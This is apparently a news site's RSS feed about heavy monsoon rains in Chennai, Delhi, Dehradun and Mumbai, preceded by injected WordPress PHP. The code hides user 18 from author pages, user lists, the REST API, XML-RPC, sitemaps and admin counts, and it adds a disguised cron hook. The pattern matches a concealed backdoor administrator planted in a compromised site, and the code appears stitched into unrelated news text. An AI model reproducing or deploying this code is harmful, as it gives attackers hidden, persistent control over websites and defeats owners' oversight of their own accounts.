add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Chennai rains: A two-day rainstorm forced CM Stalin to close schools and colleges appeared first on The Edge Media.
]]>
Because the continuous rains have caused extensive damage in other regions, the collectors have issued orders declaring holidays for all schools and colleges under their control. According to the latest reports, schools in Kallakurichi, Vellore, Ranipet, Tiruchirapalli, Ariyalur, Perambalur, Namakkal, Pudukkotai, and Dindigul have declared holidays, while schools and colleges in Tiruvannamalai, Thanjavur, Villupuram, Cuddalore, Mayiladuthurai, Salem, Karur, Tiruppathur, and Siva.
The post Chennai rains: A two-day rainstorm forced CM Stalin to close schools and colleges appeared first on The Edge Media.
]]>The post Heavy Rainfall Causes Waterlogging, Traffic Disruptions In Parts Of Delhi appeared first on The Edge Media.
]]>The city gauged 112.1 mm rainfall in the past 24 hours, which is the highest in at least 12 years, IMD officials said. In 2010, the capital had recorded 110 mm rainfall on September 20
Delhi has been receiving rainfall since yesterday morning. Earlier, IMD had predicted that thunderstorms and moderate to heavy rainfall would take place in part of Delhi-NCR.
“Thunderstorms with moderate to heavy intensity rain would occur over and adjoining areas of isolated places of Delhi, NCR- Gurugram, Manesar, Faridabad, Ballabhgarh, Tosham, Bhiwani, Jhajjar, Narnaul, Mahendargarh, Kosali during next 2 hours,” tweeted IMD.
The post Heavy Rainfall Causes Waterlogging, Traffic Disruptions In Parts Of Delhi appeared first on The Edge Media.
]]>The post Dehradun Bridge Collapses, Road Caves In After Heavy Rains appeared first on The Edge Media.
]]>Rescue and deep diving teams of the State Disaster Response Force (SDRF) have reached the site. Rescue and relief operation are on, the news agency’s report said.
District Magistrate R Rajesh Kumar says traffic on the route has been halted.
In another incident, parts of the Maldevta-Sahastradhara Link Road caved in and merged with a river following incessant rainfall in Dehradun, ANI reported.
Meanwhile, National Highway 58 was closed from Tapovan to Maletha due to heavy rainfall in the area, the Tehri-Garhwal district authorities have said, according to the news agency.
The post Dehradun Bridge Collapses, Road Caves In After Heavy Rains appeared first on The Edge Media.
]]>The post Heavy rain in parts of Mumbai, local train service hit. appeared first on The Edge Media.
]]>The suburban trains on the Central Railway’s main line as well as the Harbour line are running 20 to 25 minutes behind their schedule, an official said.
Local train services are currently running only for personnel engaged in health and other essential services, and are out of bound for general commuters in view of the COVID-19 pandemic.
An official of the Central Railway said that due to water-logging on tracks near kurla station in eastern Mumbai, suburban services on the main line and the Harbour line have been affected since morning.
The post Heavy rain in parts of Mumbai, local train service hit. appeared first on The Edge Media.
]]>